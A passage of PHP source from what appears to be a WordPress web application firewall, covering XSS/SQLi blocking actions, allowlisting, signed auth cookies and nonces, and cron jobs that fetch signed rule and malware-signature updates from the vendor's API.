		if ($updateFailedRules) {
			$this->failedRules[$paramKey][$category][] = array(
				'rule'             => $rule,
				'failedComparison' => $failedComparison,
				'action'           => 'blockXSS',
			);
		}
		$e = new wfWAFBlockXSSException();
		$e->setFailedRules(array($rule));
		$e->setParamKey($failedComparison->getParamKey());
		$e->setParamValue($failedComparison->getParamValue());
		$e->setRequest($this->getRequest());
		throw $e;
	}

	/**
	 * @param wfWAFRule $rule
	 * @param wfWAFRuleComparisonFailure $failedComparison
	 * @param bool $updateFailedRules
	 * @throws wfWAFBlockSQLiException
	 */
	public function blockSQLi($rule, $failedComparison, $updateFailedRules = true) {
		// Verify the param looks like SQLi to help reduce false positives.
		if (!wfWAFSQLiParser::testForSQLi($failedComparison->getParamValue())) {
			return;
		}

		$paramKey = $failedComparison->getParamKey();
		$category = $rule->getCategory();

		if ($updateFailedRules) {
			$this->failedRules[$paramKey][$category][] = array(
				'rule'             => $rule,
				'failedComparison' => $failedComparison,
				'action'           => 'blockXSS',
			);
		}
		$e = new wfWAFBlockSQLiException();
		$e->setFailedRules(array($rule));
		$e->setParamKey($failedComparison->getParamKey());
		$e->setParamValue($failedComparison->getParamValue());
		$e->setRequest($this->getRequest());
		throw $e;
	}

	/**
	 * @param wfWAFRule $rule
	 * @param wfWAFRuleComparisonFailure $failedComparison
	 * @param bool $updateFailedRules
	 */
	public function log($rule, $failedComparison, $updateFailedRules = true) {
		$paramKey = $failedComparison->getParamKey();
		$category = $rule->getCategory();

		if ($updateFailedRules) {
			$this->failedRules[$paramKey][$category][] = array(
				'rule'             => $rule,
				'failedComparison' => $failedComparison,
				'action'           => 'log',
			);
		}

		$event=new wfWAFLogEvent(
			array($rule),
			$failedComparison->getParamKey(),
			$failedComparison->getParamValue(),
			$this->getRequest()
		);

		$this->recordLogEvent($event);
	}

	public function recordLogEvent($event) {
		$this->eventBus->log($this->getRequest()->getIP(), $event);
		$this->logAction($event);
	}

	/**
	 * @todo Hook up $httpCode
	 * @param wfWAFBlockException $e
	 * @param int $httpCode
	 */
	public function blockAction($e, $httpCode = 403, $redirect = false, $template = null) {
		$this->getStorageEngine()->logAttack($e->getFailedRules(), $e->getParamKey(), $e->getParamValue(), $e->getRequest(), $e->getRequest()->getMetadata());
		
		if ($redirect) {
			wfWAFUtils::redirect($redirect); // exits and emits no cache headers
		}
		
		if ($httpCode == 503) {
			wfWAFUtils::statusHeader(503);
			wfWAFUtils::doNotCache();
			if ($secsToGo = $e->getRequest()->getMetadata('503Time')) {
				header('Retry-After: ' . $secsToGo);
			}
			exit($this->getUnavailableMessage($e->getRequest()->getMetadata('503Reason'), $template));
		}
		
		header('HTTP/1.0 403 Forbidden');
		wfWAFUtils::doNotCache();
		exit($this->getBlockedMessage($template));
	}

	/**
	 * @todo Hook up $httpCode
	 * @param wfWAFBlockXSSException $e
	 * @param int $httpCode
	 */
	public function blockXSSAction($e, $httpCode = 403, $redirect = false) {
		$this->getStorageEngine()->logAttack($e->getFailedRules(), $e->getParamKey(), $e->getParamValue(), $e->getRequest(), $e->getRequest()->getMetadata());
		
		if ($redirect) {
			wfWAFUtils::redirect($redirect); // exits and emits no cache headers
		}
		
		if ($httpCode == 503) {
			wfWAFUtils::statusHeader(503);
			wfWAFUtils::doNotCache();
			if ($secsToGo = $e->getRequest()->getMetadata('503Time')) {
				header('Retry-After: ' . $secsToGo);
			}
			exit($this->getUnavailableMessage($e->getRequest()->getMetadata('503Reason')));
		}
		
		header('HTTP/1.0 403 Forbidden');
		wfWAFUtils::doNotCache();
		exit($this->getBlockedMessage());
	}
	
	public function logAction($event) {
		$failedRules = array_merge(array('logged'), $event->getFailedRules());
		$this->getStorageEngine()->logAttack($failedRules, $event->getParamKey(), $event->getParamValue(), $this->getRequest());
	}

	/**
	 * @return string
	 */
	public function getBlockedMessage($template = null) {
		if ($template === null) {
			if ($this->currentUserCanWhitelist()) {
				$template = '403-roadblock';
			}
			else {
				$template = '403';
			}
		}
		try {
			$homeURL = wfWAF::getInstance()->getStorageEngine()->getConfig('homeURL', null, 'synced');
			$siteURL = wfWAF::getInstance()->getStorageEngine()->getConfig('siteURL', null, 'synced');
			$customText = wfWAF::getInstance()->getStorageEngine()->getConfig('blockCustomText', null, 'synced');
			$errorNonce = '';
			if ($authCookie = wfWAF::getInstance()->parseAuthCookie()) {
				$errorNonce = wfWAF::getInstance()->getStorageEngine()->getConfig('errorNonce_' . (int) $authCookie['userID'], '', 'synced');
			}
		}
		catch (Exception $e) {
			//Do nothing
		}
		
		return wfWAFView::create($template, array(
			'waf' => $this,
			'homeURL' => $homeURL,
			'siteURL' => $siteURL,
			'customText' => $customText,
			'errorNonce' => $errorNonce,
		))->render();
	}
	
	/**
	 * @return string
	 */
	public function getUnavailableMessage($reason = '', $template = null) {
		if ($template === null) { $template = '503'; }
		try {
			$homeURL = wfWAF::getInstance()->getStorageEngine()->getConfig('homeURL', null, 'synced');
			$siteURL = wfWAF::getInstance()->getStorageEngine()->getConfig('siteURL', null, 'synced');
			$customText = wfWAF::getInstance()->getStorageEngine()->getConfig('blockCustomText', null, 'synced');
			$errorNonce = '';
			if ($authCookie = wfWAF::getInstance()->parseAuthCookie()) {
				$errorNonce = wfWAF::getInstance()->getStorageEngine()->getConfig('errorNonce_' . (int) $authCookie['userID'], '', 'synced');
			}
		}
		catch (Exception $e) {
			//Do nothing
		}
		
		return wfWAFView::create($template, array(
			'waf' => $this,
			'reason' => $reason,
			'homeURL' => $homeURL,
			'siteURL' => $siteURL,
			'customText' => $customText,
			'errorNonce' => $errorNonce,
		))->render();
	}

	/**
	 *
	 */
	public function whitelistFailedRules() {
		foreach ($this->failedRules as $paramKey => $categories) {
			foreach ($categories as $category => $failedRules) {
				foreach ($failedRules as $failedRule) {
					/**
					 * @var wfWAFRule $rule
					 * @var wfWAFRuleComparisonFailure $failedComparison
					 */
					$rule = $failedRule['rule'];
					if ($rule->getWhitelist()) {
						$failedComparison = $failedRule['failedComparison'];

						$data = array(
							'timestamp' => time(),
							'description' => 'Allowlisted while in Learning Mode.',
							'source' => 'learning-mode',
							'ip' => $this->getRequest()->getIP(),
						);
						if (function_exists('get_current_user_id')) {
							$data['userID'] = get_current_user_id();
						}
						$this->whitelistRuleForParam($this->getRequest()->getPath(), $failedComparison->getParamKey(),
							$rule->getRuleID(), $data);
					}
				}
			}
		}
	}

	/**
	 * @param string $path
	 * @param string $paramKey
	 * @param int $ruleID
	 * @param array $data
	 */
	public function whitelistRuleForParam($path, $paramKey, $ruleID, $data = array()) {
		if ($this->isParamKeyURLBlacklisted($ruleID, $paramKey, $path)) {
			return;
		}

		$whitelist = $this->getStorageEngine()->getConfig('whitelistedURLParams', null, 'livewaf');
		if (is_object($whitelist)) {
			$whitelist = (array) $whitelist;
		}
		else if (!is_array($whitelist)) {
			$whitelist = array();
		}
		
		if (is_array($ruleID)) {
			foreach ($ruleID as $id) {
				$whitelist[base64_encode($path) . "|" . base64_encode($paramKey)][$id] = $data;
			}
		} else {
			$whitelist[base64_encode($path) . "|" . base64_encode($paramKey)][$ruleID] = $data;
		}

		$this->getStorageEngine()->setConfig('whitelistedURLParams', $whitelist, 'livewaf');
	}

	/**
	 * @param int $ruleID
	 * @param string $urlPath
	 * @param string $paramKey
	 * @return bool
	 */
	public function isRuleParamWhitelisted($ruleID, $urlPath, $paramKey) {
		$urlPath = (string)$urlPath;
		$paramKey = (string)$paramKey;
		if ($this->isParamKeyURLBlacklisted($ruleID, $paramKey, $urlPath)) {
			return false;
		}

		if ($paramKey==='none' || (is_array($this->whitelistedParams) && array_key_exists($paramKey, $this->whitelistedParams)
			&& is_array($this->whitelistedParams[$paramKey]))
		) {
			foreach ($this->whitelistedParams[$paramKey] as $urlRegex) {
				if (is_array($urlRegex) || $urlRegex instanceof wfWAFRuleParserURLParam) {
					$rules = is_array($urlRegex) ? $urlRegex['rules'] : $urlRegex->getRules();
					if ($rules && !in_array($ruleID, $rules)) {
						continue;
					}
					
					$conditional = is_array($urlRegex) ? (isset($urlRegex['conditional']) ? $urlRegex['conditional'] : null) : $urlRegex->getConditional();
					if ($conditional && !$conditional->evaluate()) {
						continue;
					}
					
					$urlRegex = is_array($urlRegex) ? $urlRegex['url'] : $urlRegex->getUrl();
				}
				
				if (is_string($urlRegex) && preg_match($urlRegex, $urlPath)) {
					return true;
				}
			}
		}

		$whitelistKey = base64_encode($urlPath) . "|" . base64_encode($paramKey);
		$whitelist = $this->getStorageEngine()->getConfig('whitelistedURLParams', array(), 'livewaf');
		if (is_object($whitelist)) {
			$whitelist = (array) $whitelist;
		}
		else if (!is_array($whitelist)) {
			$whitelist = array();
		}

		if (array_key_exists($whitelistKey, $whitelist)) {
			foreach (array('all', $ruleID) as $key) {
				if (array_key_exists($key, $whitelist[$whitelistKey])) {
					$ruleData = $whitelist[$whitelistKey][$key];
					if (is_array($ruleData) && array_key_exists('disabled', $ruleData)) {
						return !$ruleData['disabled'];
					} else if ($ruleData) {
						return true;
					}
				}
			}
		}
		return false;
	}

	/**
	 *
	 */
	public function sendAttackData() {
		if ($this->getStorageEngine()->getConfig('attackDataKey', false) === false) {
			$this->getStorageEngine()->setConfig('attackDataKey', mt_rand(0, 0xfff));
		}
		
		if (!$this->getStorageEngine()->getConfig('other_WFNet', true, 'synced')) {
			$this->getStorageEngine()->truncateAttackData();
			$this->getStorageEngine()->unsetConfig('attackDataNextInterval', 'transient');
			return;
		}

		$request = new wfWAFHTTP();
		try {
			$response = wfWAFHTTP::get(
				sprintf(WFWAF_API_URL_SEC . "waf-rules/%d.txt", $this->getStorageEngine()->getConfig('attackDataKey')),
				$request);

			if ($response instanceof wfWAFHTTPResponse) {
				if ($response->getBody() === 'ok') {
					$request = new wfWAFHTTP();
					$request->setHeaders(array(
						'Content-Type' => 'application/json',
					));
					$response = wfWAFHTTP::post(WFWAF_API_URL_SEC . "?" . http_build_query(array(
							'action' => 'send_waf_attack_data',
							'k'      => $this->getStorageEngine()->getConfig('apiKey', null, 'synced'),
							's'      => $this->getStorageEngine()->getConfig('siteURL', null, 'synced') ? $this->getStorageEngine()->getConfig('siteURL', null, 'synced') :
								sprintf('%s://%s/', $this->getRequest()->getProtocol(), rawurlencode($this->getRequest()->getHost())),
							'h'      => $this->getStorageEngine()->getConfig('homeURL', null, 'synced') ? $this->getStorageEngine()->getConfig('homeURL', null, 'synced') :
								sprintf('%s://%s/', $this->getRequest()->getProtocol(), rawurlencode($this->getRequest()->getHost())),
							't'		 => microtime(true),
							'lang'   => $this->getStorageEngine()->getConfig('WPLANG', null, 'synced'),
						), '', '&'), $this->getStorageEngine()->getAttackData(), $request);

					if ($response instanceof wfWAFHTTPResponse && $response->getBody()) {
						$jsonData = wfWAFUtils::json_decode($response->getBody(), true);
						if (is_array($jsonData) && array_key_exists('success', $jsonData)) {
							$this->getStorageEngine()->truncateAttackData();
							$this->getStorageEngine()->unsetConfig('attackDataNextInterval', 'transient');
						}
					}
				} else if (is_string($response->getBody()) && preg_match('/next check in: ([0-9]+)/', $response->getBody(), $matches)) {
					$this->getStorageEngine()->setConfig('attackDataNextInterval', time() + $matches[1], 'transient');
					if ($this->getStorageEngine()->isAttackDataFull()) {
						$this->getStorageEngine()->truncateAttackData();
					}
				}

				// Could be that the server is down, so hold off on sending data for a little while.
			} else {
				$this->getStorageEngine()->setConfig('attackDataNextInterval', time() + 7200, 'transient');
			}

		} catch (wfWAFHTTPTransportException $e) {
			error_log($e->getMessage());
		}
	}

	/**
	 * @param string $action
	 * @return array
	 */
	public function isAllowedAction($action) {
		static $actions;
		if (!isset($actions)) {
			$actions = array_flip($this->getAllowedActions());
		}
		return array_key_exists($action, $actions);
	}

	/**
	 * @return array
	 */
	public function getAllowedActions() {
		return array('fail', 'allow', 'block', 'failXSS', 'blockXSS', 'failSQLi', 'blockSQLi', 'log');
	}

	/**
	 *
	 */
	public function uninstall() {
		$this->getStorageEngine()->uninstall();
	}
	
	public function fileList() {
		$fileList = array();
		$rulesFile = $this->getCompiledRulesFile();
		if ($rulesFile !== null)
			array_push($fileList, $rulesFile);
		if (method_exists($this->getStorageEngine(), 'fileList')) {
			$fileList = array_merge($fileList, $this->getStorageEngine()->fileList());
		}
		return $fileList;
	}

	/**
	 * @param int $ruleID
	 * @param string $paramKey
	 * @param string $urlPath
	 * @return bool
	 */
	public function isParamKeyURLBlacklisted($ruleID, $paramKey, $urlPath) {
		if (is_array($this->blacklistedParams) && array_key_exists($paramKey, $this->blacklistedParams)
			&& is_array($this->blacklistedParams[$paramKey])
		) {
			foreach ($this->blacklistedParams[$paramKey] as $urlRegex) {
				if (is_array($urlRegex) || $urlRegex instanceof wfWAFRuleParserURLParam) {
					$rules = is_array($urlRegex) ? $urlRegex['rules'] : $urlRegex->getRules();
					if ($rules && !in_array($ruleID, $rules)) {
						continue;
					}
					
					$conditional = is_array($urlRegex) ? (isset($urlRegex['conditional']) ? $urlRegex['conditional'] : null) : $urlRegex->getConditional();
					if ($conditional && !$conditional->evaluate()) {
						continue;
					}
					
					$urlRegex = is_array($urlRegex) ? $urlRegex['url'] : $urlRegex->getUrl();
				}
				
				if (is_string($urlRegex) && preg_match($urlRegex, $urlPath)) {
					return true;
				}
			}
		}
		return false;
	}

	/**
	 * @return bool
	 */
	public function currentUserCanWhitelist() {
		if ($authCookie = $this->parseAuthCookie()) {
			return $authCookie['role'] === 'administrator';
		}
		return false;
	}

	/**
	 * @param string $capability
	 * @return bool
	 */
	public function checkCapability($capability) {
		if ($authCookie = $this->parseAuthCookie()) {
			return $authCookie['capabilities']!==null && in_array($capability, $authCookie['capabilities']);
		}
		return false;
	}

	/**
	 * @param string|null $cookieVal
	 * @return bool
	 */
	public function parseAuthCookie($cookieVal = null) {
		if ($cookieVal === null) {
			$cookieName = $this->getAuthCookieName();
			$cookieVal = !empty($_COOKIE[$cookieName]) && is_string($_COOKIE[$cookieName]) ? $_COOKIE[$cookieName] : '';
		}
		$pieces = explode('|', $cookieVal);
		$pieceCount = count($pieces);
		if ($pieceCount === 4) {
			list($userID, $role, $capabilityList, $signature) = $pieces;
			$capabilities = empty($capabilityList) ? array() : explode(',', $capabilityList);
		}
		else if ($pieceCount === 3) {
			list($userID, $role, $signature) = $pieces;
			$capabilities = null;
		}
		else {
			return false;
		}
		if (wfWAFUtils::hash_equals($signature, $this->getAuthCookieValue($userID, $role, $capabilities))) {
			return array(
				'userID' => $userID,
				'role'   => $role,
				'capabilities' => $capabilities
			);
		}
		return false;
	}

	/**
	 * @param int|string $userID
	 * @param string $role
	 * @param array $capabilities
	 * @return bool|string
	 */
	public function getAuthCookieValue($userID, $role, $capabilities = array()) {
		if (!is_array($capabilities))
			$capabilities = array();
		$algo = function_exists('hash') ? 'sha256' : 'sha1';
		return wfWAFUtils::hash_hmac($algo, $userID . $role . '|'. implode(',', $capabilities) . floor(time() / 43200), $this->getStorageEngine()->getConfig('authKey'));
	}
	
	/**
	 * @param string $action
	 * @return bool|string
	 */
	public function createNonce($action) {
		$userInfo = $this->parseAuthCookie();
		if ($userInfo === false) {
			$userInfo = array('userID' => 0, 'role' => ''); // Use an empty user like WordPress would
		}
		$userID = $userInfo['userID'];
		$role = $userInfo['role'];
		$algo = function_exists('hash') ? 'sha256' : 'sha1';
		return wfWAFUtils::hash_hmac($algo, $action . $userID . $role . floor(time() / 43200), $this->getStorageEngine()->getConfig('authKey'));
	}
	
	/**
	 * @param string $nonce
	 * @param string $action
	 * @return bool
	 */
	public function verifyNonce($nonce, $action) {
		if (empty($nonce)) {
			return false;
		}
		return wfWAFUtils::hash_equals($nonce, $this->createNonce($action));
	}

	/**
	 * @param string|null $host
	 * @return string
	 */
	public function getAuthCookieName($host = null) {
		if ($host === null) {
			$host = $this->getRequest()->getHost();
		}
		return self::AUTH_COOKIE . '-' . md5((string)$host);
	}

	/**
	 * @return string
	 */
	public function getCompiledRulesFile() {
		return $this->rulesFile;
	}

	/**
	 * @param string $rulesFile
	 */
	public function setCompiledRulesFile($rulesFile) {
		$this->rulesFile = $rulesFile;
	}

	/**
	 * @param $ip
	 * @return mixed
	 */
	public function isIPBlocked($ip) {
		return $this->getStorageEngine()->isIPBlocked($ip);
	}
	
	/**
	 * @param wfWAFRequest $request
	 * @return bool|array false if it should not be blocked, otherwise an array defining the context for the final action
	 */
	public function willPerformFinalAction($request) {
		return false;
	}

	/**
	 * @return array
	 */
	public function getTrippedRules() {
		return $this->trippedRules;
	}

	/**
	 * @return array
	 */
	public function getTrippedRuleIDs() {
		$ret = array();
		/** @var wfWAFRule $rule */
		foreach ($this->getTrippedRules() as $rule) {
			$ret[] = $rule->getRuleID();
		}
		return $ret;
	}

	public function showBench() {
		return sprintf("Bench: %f seconds\n\n", microtime(true) - $this->getRequest()->getTimestamp());
	}

	public function debug() {
		return join("\n", $this->debug) . "\n\n" . $this->showBench();
//		$debug = '';
//		/** @var wfWAFRule $rule */
//		foreach ($this->trippedRules as $rule) {
//			$debug .= $rule->debug();
//		}
//		return $debug;
	}

	/**
	 * @return array
	 */
	public function getScores() {
		return $this->scores;
	}

	/**
	 * @param string $var
	 * @return null
	 */
	public function getVariable($var) {
		if (array_key_exists($var, $this->variables)) {
			return $this->variables[$var];
		}
		return null;
	}

	/**
	 * @return wfWAFRequestInterface
	 */
	public function getRequest() {
		return $this->request;
	}

	/**
	 * @param wfWAFRequestInterface $request
	 */
	public function setRequest($request) {
		$this->request = $request;
	}

	/**
	 * @return wfWAFStorageInterface
	 */
	public function getStorageEngine() {
		return $this->storageEngine;
	}

	/**
	 * @param wfWAFStorageInterface $storageEngine
	 */
	public function setStorageEngine($storageEngine) {
		$this->storageEngine = $storageEngine;
	}

	/**
	 * @return wfWAFEventBus
	 */
	public function getEventBus() {
		return $this->eventBus;
	}

	/**
	 * @param wfWAFEventBus $eventBus
	 */
	public function setEventBus($eventBus) {
		$this->eventBus = $eventBus;
	}

	/**
	 * @return array
	 */
	public function getRules() {
		return $this->rules;
	}

	/**
	 * @param array $rules
	 */
	public function setRules($rules) {
		$this->rules = $rules;
	}

	/**
	 * @param int $ruleID
	 * @return null|wfWAFRule
	 */
	public function getRule($ruleID) {
		$rules = $this->getRules();
		if (is_array($rules) && array_key_exists($ruleID, $rules)) {
			return $rules[$ruleID];
		}
		return null;
	}

	/**
	 * @return string
	 */
	public function getPublicKey() {
		return $this->publicKey;
	}

	/**
	 * @param string $publicKey
	 */
	public function setPublicKey($publicKey) {
		$this->publicKey = $publicKey;
	}

	/**
	 * @return array
	 */
	public function getFailedRules() {
		return $this->failedRules;
	}

	public function getCookieRedactionPatterns($retry = true) {
		$patterns = $this->getStorageEngine()->getConfig('cookieRedactionPatterns', null, 'transient');
		if ($patterns === null) {
			if ($retry) {
				$event = new wfWAFCronFetchCookieRedactionPatternsEvent(time());
				$event->setWaf($this);
				$event->fire();
				return $this->getCookieRedactionPatterns(false);
			}
		}
		else {
			$patterns = wfWAFUtils::json_decode($patterns, true);
			if (is_array($patterns))
				return $patterns;
		}
		return null;
	}

	public function getVersion() {
		return WFWAF_VERSION;
	}

}

require_once __DIR__ . '/api.php';

/**
 * Serialized for use with the WAF cron.
 */
abstract class wfWAFCronEvent {

	abstract public function fire();

	abstract public function getNextFireTime();

	protected $fireTime;
	private $waf;

	/**
	 * @param int $fireTime
	 */
	public function __construct($fireTime = null) {
		$this->setFireTime($fireTime === null ? $this->getNextFireTime() : $fireTime);
	}

	/**
	 * @param int|null $time
	 * @return bool
	 */
	public function isInPast($time = null) {
		if ($time === null) {
			$time = time();
		}
		return $this->getFireTime() <= $time;
	}

	public function __sleep() {
		return array('fireTime');
	}

	/**
	 * @return mixed
	 */
	public function getFireTime() {
		return $this->fireTime;
	}

	/**
	 * @param mixed $fireTime
	 */
	public function setFireTime($fireTime) {
		$this->fireTime = $fireTime;
	}

	/**
	 * @return wfWAF
	 */
	public function getWaf() {
		return $this->waf;
	}

	/**
	 * @param wfWAF $waf
	 */
	public function setWaf($waf) {
		$this->waf = $waf;
	}

	public function reschedule() {
		$nextFireTime = $this->getNextFireTime();
		if ($nextFireTime === null)
			return false;
		$newEvent = new static($nextFireTime);
		return $newEvent;
	}

}

class wfWAFCronFetchRulesEvent extends wfWAFCronEvent {

	/**
	 * @var wfWAFHTTPResponse
	 */
	private $response;
	private $forceUpdate;

	public function __construct($fireTime, $forceUpdate = false) {
		parent::__construct($fireTime);
		$this->forceUpdate = $forceUpdate;
	}

	public function fire() {
		$waf = $this->getWaf();
		if (!$waf) {
			return false;
		}
		
		$success = true;
		$guessSiteURL = sprintf('%s://%s/', $waf->getRequest()->getProtocol(), $waf->getRequest()->getHost());
		try {
			$payload = array(
				'action' => 'get_waf_rules',
				'k' => $waf->getStorageEngine()->getConfig('apiKey', null, 'synced'),
				's' => $waf->getStorageEngine()->getConfig('siteURL', null, 'synced') ? $waf->getStorageEngine()->getConfig('siteURL', null, 'synced') : $guessSiteURL,
				'h' => $waf->getStorageEngine()->getConfig('homeURL', null, 'synced') ? $waf->getStorageEngine()->getConfig('homeURL', null, 'synced') : $guessSiteURL,
				'openssl' => $waf->hasOpenSSL() ? 1 : 0,
				'lang' => $waf->getStorageEngine()->getConfig('WPLANG', null, 'synced'),
				'waf_version' => $waf->getVersion()
			);
			$lastRuleHash=$this->forceUpdate ? null : $waf->getStorageEngine()->getConfig('lastRuleHash', null, 'transient');
			if($lastRuleHash!==null)
				$payload['hash']=$lastRuleHash;
			if ($waf->getStorageEngine()->getConfig('other_WFNet', true, 'synced')) {
				$payload['disabled'] = implode('|', $waf->getDisabledRuleIDs());
			}
			
			$this->response = wfWAFHTTP::get(WFWAF_API_URL_SEC . "?" . http_build_query($payload, '', '&'), null, 10, 5);
			if ($this->response) {
				if($this->response->getStatusCode() !== 304){
					$jsonData = wfWAFUtils::json_decode($this->response->getBody(), true);
					if (is_array($jsonData)) {

						if ($waf->hasOpenSSL() &&
							isset($jsonData['data']['signature256']) &&
							isset($jsonData['data']['rules']) &&
							$waf->verifySignedRequest(base64_decode($jsonData['data']['signature256']), $jsonData['data']['rules'])
						) {
							$waf->updateRuleSet(base64_decode($jsonData['data']['rules']),
								isset($jsonData['data']['timestamp']) ? $jsonData['data']['timestamp'] : true);
							$waf->getStorageEngine()->setConfig('lastRuleHash', $jsonData['data']['signature256'], 'transient');
							if (array_key_exists('premiumCount', $jsonData['data'])) {
								$waf->getStorageEngine()->setConfig('premiumCount', $jsonData['data']['premiumCount'], 'transient');
							}

						} else if (!$waf->hasOpenSSL() &&
							isset($jsonData['data']['hash']) &&
							isset($jsonData['data']['rules']) &&
							$waf->verifyHashedRequest($jsonData['data']['hash'], $jsonData['data']['rules'])
						) {
							$waf->updateRuleSet(base64_decode($jsonData['data']['rules']),
								isset($jsonData['data']['timestamp']) ? $jsonData['data']['timestamp'] : true);
							$waf->getStorageEngine()->setConfig('lastRuleHash', $jsonData['data']['hash'], 'transient');
							if (array_key_exists('premiumCount', $jsonData['data'])) {
								$waf->getStorageEngine()->setConfig('premiumCount', $jsonData['data']['premiumCount'], 'transient');
							}
						}
						else {
							$success = false;
						}
					}
					else {
						$success = false;
					}
				}
			}
			else {
				$success = false;
			}

			$lastMalwareSignatureUpdate=$waf->getStorageEngine()->getConfig('signaturesLastUpdated', 0, 'transient');
			$isPaid=$waf->getStorageEngine()->getConfig('isPaid', false, 'synced');
			//Only update malware signatures for free sites if they are older than 3 days plus an hour
			if ($isPaid || $this->forceUpdate || $lastMalwareSignatureUpdate < (time() - (259200 + 3600))) {
				$this->response = wfWAFHTTP::get(WFWAF_API_URL_SEC . "?" . http_build_query(array(
						'action'   => 'get_malware_signatures',
						'k'        => $waf->getStorageEngine()->getConfig('apiKey', null, 'synced'),
						's'        => $waf->getStorageEngine()->getConfig('siteURL', null, 'synced') ? $waf->getStorageEngine()->getConfig('siteURL', null, 'synced') : $guessSiteURL,
						'h'        => $waf->getStorageEngine()->getConfig('homeURL', null, 'synced') ? $waf->getStorageEngine()->getConfig('homeURL', null, 'synced') : $guessSiteURL,
						'openssl'  => $waf->hasOpenSSL() ? 1 : 0,
						'hash'	   => $this->forceUpdate ? null : $waf->getStorageEngine()->getConfig('lastMalwareHash', null, 'transient'),
						'cs-hash'  => $this->forceUpdate ? null : $waf->getStorageEngine()->getConfig('lastMalwareHashCommonStrings', null, 'transient'),
						'lang'   => $waf->getStorageEngine()->getConfig('WPLANG', null, 'synced')
					), '', '&'), null, 15, 5);
				if ($this->response) {
					if($this->response->getStatusCode() !== 304){
						$jsonData = wfWAFUtils::json_decode($this->response->getBody(), true);
						if (is_array($jsonData)) {
							if ($waf->hasOpenSSL() &&
								isset($jsonData['data']['signature256']) &&
								isset($jsonData['data']['signatures']) &&
								$waf->verifySignedRequest(base64_decode($jsonData['data']['signature256']), $jsonData['data']['signatures'])
							) {
								$waf->setMalwareSignatures(wfWAFUtils::json_decode(base64_decode($jsonData['data']['signatures'])),
									isset($jsonData['data']['timestamp']) ? $jsonData['data']['timestamp'] : true);
								$waf->getStorageEngine()->setConfig('lastMalwareHash', $jsonData['data']['signature256'], 'transient');
								if (array_key_exists('premiumCount', $jsonData['data'])) {
									$waf->getStorageEngine()->setConfig('signaturePremiumCount', $jsonData['data']['premiumCount'], 'transient');
								}

								if (array_key_exists('commonStringsSignature256', $jsonData['data']) && 
									array_key_exists('commonStrings', $jsonData['data']) && 
									array_key_exists('signatureIndexes', $jsonData['data']) &&
									$waf->verifySignedRequest(base64_decode($jsonData['data']['commonStringsSignature256']), $jsonData['data']['commonStrings'] . $jsonData['data']['signatureIndexes'])
								) {
									$waf->setMalwareSignatureCommonStrings(wfWAFUtils::json_decode(base64_decode($jsonData['data']['commonStrings'])), wfWAFUtils::json_decode(base64_decode($jsonData['data']['signatureIndexes'])));

									$waf->getStorageEngine()->setConfig('lastMalwareHashCommonStrings', $jsonData['data']['commonStringsSignature256'], 'transient');
								}

							} else if (!$waf->hasOpenSSL() &&
								isset($jsonData['data']['hash']) &&
								isset($jsonData['data']['signatures']) &&
								$waf->verifyHashedRequest($jsonData['data']['hash'], $jsonData['data']['signatures'])
							) {
								$waf->setMalwareSignatures(wfWAFUtils::json_decode(base64_decode($jsonData['data']['signatures'])),

									isset($jsonData['data']['timestamp']) ? $jsonData['data']['timestamp'] : true);
								$waf->getStorageEngine()->setConfig('lastMalwareHash', $jsonData['data']['hash'], 'transient');
								if (array_key_exists('premiumCount', $jsonData['data'])) {
									$waf->getStorageEngine()->setConfig('signaturePremiumCount', $jsonData['data']['premiumCount'], 'transient');
								}

								if (array_key_exists('commonStringsHash', $jsonData['data']) &&
									array_key_exists('commonStrings', $jsonData['data']) &&
									array_key_exists('signatureIndexes', $jsonData['data']) &&
									$waf->verifyHashedRequest($jsonData['data']['commonStringsHash'], $jsonData['data']['commonStrings'] . $jsonData['data']['signatureIndexes'])
								) {
									$waf->setMalwareSignatureCommonStrings(wfWAFUtils::json_decode(base64_decode($jsonData['data']['commonStrings'])), wfWAFUtils::json_decode(base64_decode($jsonData['data']['signatureIndexes'])));
									$waf->getStorageEngine()->setConfig('lastMalwareHashCommonStrings', $jsonData['data']['commonStringsHash'], 'transient');
								}
							}
							else {
								$success = false;
							}
						}
						else {
							$success = false;
						}
					}
				}
				else {
					$success = false;
				}
			}
		} catch (wfWAFHTTPTransportException $e) {
			error_log($e->getMessage());
			$success = false;
		} catch (wfWAFBuildRulesException $e) {
			error_log($e->getMessage());
			$success = false;
		}
		
		if ($success) {
			$waf->getStorageEngine()->setConfig('lastRuleUpdateCheck', time(), 'transient');
		}
		
		return $success;
	}

	public function getNextFireTime() {
		$waf = $this->getWaf();
		if (!$waf)
			return null;
		if ($this->response) {
			$headers = $this->response->getHeaders();
			if (isset($headers['Expires'])) {
				$timestamp = strtotime($headers['Expires']);
				// Make sure it's at least 2 hours ahead.
				if ($timestamp && $timestamp > (time() + 7200)) {
					return $timestamp;
				}
			}
		}
		return time() + (86400 * ($waf->getStorageEngine()->getConfig('isPaid', null, 'synced') ? .5 : 7));
	}

	public function getResponse() {
		return $this->response;
	}
}

class wfWAFCronFetchIPListEvent extends wfWAFCronEvent {
	
	public function fire() {
		//No op -- removed but class retained in case it still exists in serialized cron data
	}

	public function getNextFireTime() {
		return null;
	}

}

class wfWAFCronFetchBlacklistPrefixesEvent extends wfWAFCronEvent {
	
	public function fire() {
		$waf = $this->getWaf();
		if (!$waf) {
			return;
		}
		$guessSiteURL = sprintf('%s://%s/', $waf->getRequest()->getProtocol(), $waf->getRequest()->getHost());
		try {
			if ($waf->getStorageEngine()->getConfig('isPaid', null, 'synced')) {
				$request = new wfWAFHTTP();
				$response = wfWAFHTTP::get(WFWAF_API_URL_SEC . 'blacklist-prefixes.bin' . "?" . http_build_query(array(
						'k'      => $waf->getStorageEngine()->getConfig('apiKey', null, 'synced'),
						's'      => $waf->getStorageEngine()->getConfig('siteURL', null, 'synced') ? $waf->getStorageEngine()->getConfig('siteURL', null, 'synced') : $guessSiteURL,
						'h'      => $waf->getStorageEngine()->getConfig('homeURL', null, 'synced') ? $waf->getStorageEngine()->getConfig('homeURL', null, 'synced') : $guessSiteURL,
						't'		 => microtime(true),
						'lang'   => $waf->getStorageEngine()->getConfig('WPLANG', null, 'synced'),
					), '', '&'), $request);
				
				if ($response instanceof wfWAFHTTPResponse && $response->getBody()) {
					$waf->getStorageEngine()->setConfig('blockedPrefixes', base64_encode($response->getBody()), 'transient');
					$waf->getStorageEngine()->setConfig('blacklistAllowedCache', '', 'transient');
				}
			}
			
			$waf->getStorageEngine()->vacuum();
		} catch (wfWAFHTTPTransportException $e) {
			error_log($e->getMessage());
		}
	}

	public function getNextFireTime() {
		return time() + 7200;
	}

}

class wfWAFCronFetchCookieRedactionPatternsEvent extends wfWAFCronEvent {

